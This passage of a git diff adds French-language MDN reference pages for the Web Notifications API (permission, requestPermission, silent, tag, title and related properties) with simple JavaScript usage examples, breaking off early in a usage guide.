+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-onerror','onerror')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.onerror")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("Notification")}}</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/onshow/index.html b/files/fr/web/api/notification/onshow/index.html
new file mode 100644
index 0000000000..1f77b326e5
--- /dev/null
+++ b/files/fr/web/api/notification/onshow/index.html
@@ -0,0 +1,35 @@
+---
+title: Notification.onshow
+slug: Web/API/notification/onshow
+tags:
+  - API
+  - API Notifications
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+  - onshow
+translation_of: Web/API/Notification/onshow
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">La propriété <strong><code>onshow</code></strong> de l'interface {{domxref ("Notification")}} définit un écouteur d'événements pour recevoir des événements {{domxref ("Element/show_event", "show")}}. Ces événements se produisent lorsqu'une {{domxref ("Notification")}} est affiché.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>Notification</var>.onshow = function() { ... }
+<var>Notification</var>.onshow = () =&gt; { ... }
+</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.onshow")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("Notification")}}</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/permission/index.html b/files/fr/web/api/notification/permission/index.html
new file mode 100644
index 0000000000..dc74126304
--- /dev/null
+++ b/files/fr/web/api/notification/permission/index.html
@@ -0,0 +1,95 @@
+---
+title: Notification.permission
+slug: Web/API/notification/permission
+tags:
+  - API
+  - API Notifications
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+translation_of: Web/API/Notification/permission
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">La propriété en lecture seule <strong><code>permission</code></strong> de l'interface {{domxref ("Notification")}} indique l'autorisation actuelle accordée par l'utilisateur à l'origine actuelle pour afficher des notifications.</span></p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Notification.permission</pre>
+
+<h3 id="Return_Value" name="Return_Value">Valeur</h3>
+
+<p>Une {{domxref("DOMString")}} représentant l'autorisation actuelle. La valeur peut être:</p>
+
+<ul>
+ <li><code>granted</code>: L'utilisateur a explicitement accordé l'autorisation à l'origine actuelle d'afficher les notifications système.</li>
+ <li><code>denied</code>: L'utilisateur a explicitement refusé l'autorisation pour l'origine actuelle d'afficher les notifications système.</li>
+ <li><code>default</code>: La décision de l'utilisateur est inconnue; dans ce cas, l'application agira comme si l'autorisation était <code>denied</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'extrait suivant peut être utilisé si vous souhaitez d'abord vérifier si les notifications sont prises en charge, puis vérifier si l'autorisation a été accordée pour l'origine actuelle pour envoyer des notifications, puis demander l'autorisation si nécessaire, avant d'envoyer une notification.</p>
+
+<pre class="brush: js notranslate">function notifyMe() {
+  // Let's check if the browser supports notifications
+  if (!('Notification' in window)) {
+    console.log('This browser does not support desktop notification')
+  }
+
+  // Let's check whether notification permissions have alredy been granted
+  else if (Notification.permission === 'granted') {
+    // If it's okay let's create a notification
+    const notification = new Notification('Hi there!')
+  }
+
+  // Otherwise, we need to ask the user for permission
+  else if (
+    Notification.permission !== 'denied' ||
+    Notification.permission === 'default'
+  ) {
+    Notification.requestPermission((permission) =&gt; {
+      // If the user accepts, let's create a notification
+      if (permission === 'granted') {
+        const notification = new Notification('Hi there!')
+      }
+    })
+  }
+
+  // At last, if the user has denied notifications, and you
+  // want to be respectful there is no need to bother them any more.
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Notifications","#dom-notification-permission","permission")}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.permission")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/docs/Web/API/Notifications_API">API de notifications</a></li>
+ <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+ <li><a href="/en-US/docs/Web/API/Permissions_API">Permissions d'API</a></li>
+ <li><a href="/en-US/docs/Web/API/Permissions_API/Using_the_Permissions_API">Utilisation des permissions d'API</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/renotify/index.html b/files/fr/web/api/notification/renotify/index.html
new file mode 100644
index 0000000000..f8fb3b91e3
--- /dev/null
+++ b/files/fr/web/api/notification/renotify/index.html
@@ -0,0 +1,58 @@
+---
+title: Notification.renotify
+slug: Web/API/notification/renotify
+tags:
+  - API
+  - API Notifications
+  - Experimental
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+  - renotifier
+  - renotify
+translation_of: Web/API/Notification/renotify
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">La propriété en lecture seule <strong><code>renotify</code></strong> de l'interface {{domxref ("Notification")}} spécifie si l'utilisateur doit être notifié après qu'une nouvelle notification remplace l'ancienne, comme spécifié comme définis à l'aide de l'option <code>renotify</code> lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification"," Notification()")}}.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>Notification</var>.renotify
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un {{domxref("Boolean")}}. <code>false</code> est la valeur par défaut; <code>true</code> oblige la notification à renotifier l'utilisateur.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-renotify','renotify')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.renotify")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/requestpermission/index.html b/files/fr/web/api/notification/requestpermission/index.html
new file mode 100644
index 0000000000..75ccee7809
--- /dev/null
+++ b/files/fr/web/api/notification/requestpermission/index.html
@@ -0,0 +1,121 @@
+---
+title: Notification.requestPermission()
+slug: Web/API/notification/requestPermission
+tags:
+  - API
+  - API Notifications
+  - Méthode
+  - Notification
+  - Notifications
+  - Reference
+translation_of: Web/API/Notification/requestPermission
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<div class="note">
+<p><strong>Note:</strong> Cette fonctionnalité n'est pas disponible dans {{domxref("SharedWorker")}}</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Safari utilise toujours la syntaxe de function de rappel (callback ) pour obtenir l'autorisation. Lisez <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a> pour un bon exemple de la fonctionnalité de détection et d'exécution du code le cas échéant.</p>
+</div>
+
+<p><span class="seoSummary">La méthode <strong><code>requestPermission()</code></strong> de l'interface {{domxref ("Notification")}} demande l'autorisation à l'utilisateur pour l'origine actuelle d'afficher des notifications.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La dernière spécification a mis à jour cette méthode avec une syntaxe basée sur une promesse qui fonctionne comme ceci:</p>
+
+<pre class="notranslate">Notification.requestPermission()
+  .then((permission) =&gt; { ... })</pre>
+
+<p>Auparavant, la syntaxe était basée sur un simple rappel; cette version est désormais obsolète:</p>
+
+<pre class="notranslate">Notification.requestPermission(<var>callback</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code><var>callback</var></code> {{optional_inline}} {{deprecated_inline("gecko46")}}</dt>
+ <dd>Une fonction de rappel facultative qui est appelée avec la valeur d'autorisation. Déconseillé en faveur de la valeur de retour de la promesse.</dd>
+</dl>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Une {{jsxref ("Promise", "Promesse")}} qui se résout en une {{domxref ("DOMString")}} avec la permission choisie par l'utilisateur. Les valeurs possibles pour cette chaîne sont:</p>
+
+<ul>
+ <li><code>granted</code></li>
+ <li><code>denied</code></li>
+ <li><code>default</code></li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Supposons ce HTML de base:</p>
+
+<pre class="brush: html notranslate">&lt;button onclick="notifyMe()"&gt;Notifie moi !&lt;/button&gt;</pre>
+
+<p>Il est possible d'envoyer une notification comme suit - nous présentons ici un ensemble de code assez détaillé et complet que vous pourriez utiliser si vous vouliez d'abord vérifier si les notifications sont prises en charge, puis vérifiez si l'autorisation a été accordée pour l'origine actuelle d'envoyer des notifications, puis demander l'autorisation si nécessaire, avant d'envoyer une notification.</p>
+
+<pre class="brush: js notranslate">function notifyMe() {
+  // Vérifions si le navigateur prend en charge les notifications
+  if (!('Notification' in window)) {
+    alert('Ce navigateur ne prend pas en charge la notification de bureau')
+  }
+
+  // Vérifions si les autorisations de notification ont déjà été accordées
+  else if (Notification.permission === 'granted') {
+    // Si tout va bien, créons une notification
+    const notification = new Notification('Salut toi!')
+  }
+
+  // Sinon, nous devons demander la permission à l'utilisateur
+  else if (Notification.permission !== 'denied') {
+    Notification.requestPermission().then((permission) =&gt; {
+      // Si l'utilisateur accepte, créons une notification
+      if (permission === 'granted') {
+        const notification = new Notification('Salut toi!')
+      }
+    })
+  }
+
+  // Enfin, si l'utilisateur a refusé les notifications, et que vous
+  // voulez être respectueux, il n'est plus nécessaire de les déranger.
+}
+</pre>
+
+<p>Nous ne montrons plus d'exemple en direct sur cette page, car Chrome et Firefox n'autorisent plus les demandes de notification des {{htmlelement ("iframe")}}s d'origine croisée, avec d'autres navigateurs à suivre. Pour voir un exemple en action, consultez notre <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">exemple de liste de tâches</a> (voir également l'<a href="https://mdn.github.io/to-do-notifications/">application en cours d'exécution</a>.)</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: dans l'exemple ci-dessus, nous générons des notifications en réponse à un geste de l'utilisateur (en cliquant sur un bouton). Il ne s'agit pas seulement d'une bonne pratique - vous ne devriez pas envoyer de spam aux utilisateurs avec des notifications qu'ils n'acceptent pas - mais les navigateurs suivants interdiront explicitement les notifications non déclenchées en réponse à un geste de l'utilisateur. Firefox le fait déjà depuis la version 72, par exemple.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.requestPermission")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/requireinteraction/index.html b/files/fr/web/api/notification/requireinteraction/index.html
new file mode 100644
index 0000000000..7ee5e2b6f0
--- /dev/null
+++ b/files/fr/web/api/notification/requireinteraction/index.html
@@ -0,0 +1,54 @@
+---
+title: Notification.requireInteraction
+slug: Web/API/notification/requireInteraction
+tags:
+  - API
+  - API Notifications
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+  - Web
+  - requireInteraction
+translation_of: Web/API/Notification/requireInteraction
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p>La propriété en lecture seule <strong><code>requireInteraction</code></strong> de l'interface {{domxref ("Notification")}} renvoie un {{jsxref ("Boolean")}} indiquant qu'une notification doit rester active jusqu'à ce que l'utilisateur clique dessus ou la rejette, plutôt que de se fermer automatiquement. Ceci peut être défini à l'aide de l'option <code>requireInteraction</code> lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="brush: js notranslate">Notification.requireInteraction</pre>
+
+<h3 id="Return_Value" name="Return_Value">Valeur</h3>
+
+<p>Un {{jsxref("Boolean")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-requireinteraction','requireInteraction')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.requireInteraction")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/silent/index.html b/files/fr/web/api/notification/silent/index.html
new file mode 100644
index 0000000000..bfbf316658
--- /dev/null
+++ b/files/fr/web/api/notification/silent/index.html
@@ -0,0 +1,56 @@
+---
+title: Notification.silent
+slug: Web/API/notification/silent
+tags:
+  - API
+  - API Notifications
+  - Notifications
+  - Propriété
+  - Reference
+  - Vibration
+  - Vibreur
+  - silencieuse
+  - silent
+translation_of: Web/API/Notification/silent
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">La propriété en lecture seule <strong><code>silent</code></strong> de l'interface {{domxref ("Notification")}} spécifie si la notification doit être silencieuse, c'est-à-dire qu'aucun son ou vibration ne doit être émis, quels que soient les paramètres de l'appareil. Ceci est comme définis à l'aide de l'option <code>silent</code> lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification", "Notification()")}}.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>Notification</var>.silent
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un {{domxref("Boolean")}}. <code>false</code> est la valeur par défaut; <code>true</code> rend la notification silencieuse.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-silent','silent')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.silent")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/tag/index.html b/files/fr/web/api/notification/tag/index.html
new file mode 100644
index 0000000000..853bde6928
--- /dev/null
+++ b/files/fr/web/api/notification/tag/index.html
@@ -0,0 +1,57 @@
+---
+title: Notification.tag
+slug: Web/API/notification/tag
+tags:
+  - API
+  - API Notifications
+  - Balise
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+  - tag
+translation_of: Web/API/Notification/tag
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p>La propriété en lecture seule <code><strong>tag</strong></code> de l'interface {{domxref ("Notification")}} correspond à une balise d'identification pour la notification, comme définis à l'aide de l'option <code>tag</code> lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification", "Notification()" )}}.</p>
+
+<p>L'idée des balises de notification est que plusieurs notifications peuvent partager la même balise, les reliant entre elles. Une notification peut ensuite être programmatiquement remplacée par une autre pour éviter que l'écran des utilisateurs ne soit rempli d'un grand nombre de notifications similaires.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>Notification</var>.tag
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une {{domxref("DOMString")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-tag','tag')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.tag")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/timestamp/index.html b/files/fr/web/api/notification/timestamp/index.html
new file mode 100644
index 0000000000..7dc7b3ccc2
--- /dev/null
+++ b/files/fr/web/api/notification/timestamp/index.html
@@ -0,0 +1,56 @@
+---
+title: Notification.timestamp
+slug: Web/API/notification/timestamp
+tags:
+  - API
+  - API Notifications
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+  - horodatage
+  - timeStamp
+translation_of: Web/API/Notification/timestamp
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">La propriété en lecture seule <strong><code>timestamp</code></strong> de l'interface {{domxref ("Notification")}} renvoie un {{domxref ("DOMTimeStamp")}}, comme définis à l'aide de l'option <code>timestamp</code> lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification", "Notification()")}}.</span></p>
+
+<p>L'horodatage de la notification peut représenter le moment, en millisecondes depuis 00:00:00 UTC le 1er janvier 1970, de l'événement pour lequel la notification a été créée, ou il peut s'agir d'un horodatage arbitraire que vous souhaitez associer à la notification. Par exemple, un horodatage pour une réunion à venir pourrait être défini dans le futur, tandis qu'un horodatage pour un message manqué pourrait être défini dans le passé.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>Notification</var>.timestamp</pre>
+
+<h3 id="Return_Value" name="Return_Value">Valeur</h3>
+
+<p>Un {{domxref("DOMTimeStamp")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-timestamp','timestamp')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.timestamp")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/title/index.html b/files/fr/web/api/notification/title/index.html
new file mode 100644
index 0000000000..8f98272a23
--- /dev/null
+++ b/files/fr/web/api/notification/title/index.html
@@ -0,0 +1,54 @@
+---
+title: Notification.title
+slug: Web/API/notification/title
+tags:
+  - API
+  - API Notifications
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+  - Title
+  - Titre
+translation_of: Web/API/Notification/title
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">La propriété en lecture seule <strong><code>title</code></strong> de l'interface {{domxref ("Notification")}} indique le titre de la notification, comme définis à l'aide de l'option <code>silent</code> lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification", "Notification()") }} constructeur.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>Notification</var>.title</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une {{domxref("DOMString")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-title','title')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.title")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/using_web_notifications/index.html b/files/fr/web/api/notification/using_web_notifications/index.html
new file mode 100644
index 0000000000..796e7d152a
--- /dev/null
+++ b/files/fr/web/api/notification/using_web_notifications/index.html
@@ -0,0 +1,275 @@
+---
+title: Utilisation des Notifications Web
+slug: Web/API/notification/Using_Web_Notifications
+tags:
+  - Avancé
+  - DOM
+  - Firefox OS
+  - Guide
+  - Notifications
+translation_of: Web/API/Notifications_API/Using_the_Notifications_API
+---
+<p>{{SeeCompatTable}}</p>
+
+<h2 id="En_bref">En bref</h2>
+
+<p><span id="result_box" lang="fr"><span class="hps">L'API</span> de <span class="hps">Notifications</span> <span class="hps">Web </span></span><span lang="fr"><span class="hps">permet à une page</span> <span class="hps">Web d'</span><span class="hps">envoyer des notifications</span> <span class="hps">qui s'affichent</span> <span class="hps">hors de la page</span> <span class="hps">au niveau</span> <span class="hps">du système.</span> <span class="hps">Cela permet</span> aux<span class="hps"> applications web</span> <span class="hps">d'envoyer des informations</span> <span class="hps">à un</span> <span class="hps">utilisateur, même si</span> <span class="hps">l'application est inactive</span><span>.</span> <span class="hps">Un des</span> <span class="hps">principaux cas d'utilisation</span> <span class="hps">évidente</span> <span class="hps">est une application</span> <span class="hps">de messagerie Web</span> <span class="hps">qui</span> <span class="hps">informe l'utilisateur</span> <span class="hps">à chaque fois</span> <span class="hps">qu'un nouvel e</span><span>-mail</span> <span class="hps">est reçu,</span> <span class="hps">même si l'utilisateur</span> <span class="hps">fait autre</span> <span class="hps">chose</span> <span class="hps">avec une autre application</span><span>.</span></span></p>
+
+<p>Pour afficher des notifications, il faut commencer par demander la permission appropriée et d'instancier un objet {{domxref("Notification")}} :</p>
+
+<pre class="brush: js">Notification.requestPermission( function(status) {
+  console.log(status); // les notifications ne seront affichées que si "autorisées"
+  var n = new Notification("title", {body: "notification body"}); // this also shows the notification
+});
+</pre>
+
+<h2 id="Obtenir_l'autorisation">Obtenir l'autorisation</h2>
+
+<p><span id="result_box" lang="fr"><span class="hps">Avant</span> qu'<span class="hps">une application</span> ne <span class="hps">soit capable d'envoyer</span> <span class="hps">une notification</span><span>,</span> <span class="hps">l'utilisateur doit</span> donner son accord<span>.</span> <span class="hps">C'est</span> <span class="hps">une exigence commune</span> <span class="hps">quand</span> <span class="hps">une API</span> <span class="atn hps">tente d'</span><span>interagir avec</span> quoi que ce soit <span class="hps">en dehors d'une</span> <span class="hps">page Web.</span> <span class="hps">Cela permet </span><span class="hps">d'éviter</span> <span class="atn hps">les notifications "</span><span>spam"</span> <span class="atn hps">pour le bien-</span><span>être de l'utilisateur</span><span>.</span></span></p>
+
+<h3 id="Vérifier_l'état_de_la_permission">Vérifier l'état de la permission</h3>
+
+<p><span id="result_box" lang="fr"><span class="hps">Une application qui</span> <span class="hps">a besoin d'envoyer</span> <span class="hps">une notification</span> <span class="hps">peut vérifier l'état</span> <span class="hps">d'autorisation</span> <span class="hps">actuel</span> <span class="hps">grâce à la</span> <span class="hps">propriété non modifiable </span></span>{{domxref("Notification.permission")}} <span lang="fr"><span class="hps">.</span> <span class="hps">Il peut avoir</span> <span class="hps">l'une des</span> <span class="hps">trois</span> <span class="hps">valeurs possibles </span><span>:</span></span></p>
+
+<ul>
+ <li><code>default</code>: <span id="result_box" lang="fr"><span class="hps">l'utilisateur</span> <span class="hps">n'a pas encore</span> </span><span lang="fr"><span class="hps">donné</span> s<span class="hps">a permission</span> <span class="hps">(et donc</span> <span class="hps">aucune notification ne sera</span> <span class="hps">affichée à l'utilisateur</span><span>)</span><span>.</span></span></li>
+ <li><code>granted</code>: <span id="result_box" lang="fr"><span class="hps">l'utilisateur</span> a <span class="hps">explicitement</span> <span class="hps">accepté d'être</span> <span class="hps">notifié par</span> <span class="hps">l'application</span><span>.</span></span></li>
+ <li><code>denied</code>: <span id="result_box" lang="fr"><span class="hps">l'utilisateur</span> a <span class="hps">explicitement</span> <span class="hps">refusé d'être</span> <span class="hps">notifié par</span> <span class="hps">l'application</span><span>.</span></span></li>
+</ul>
+
+<div class="note">
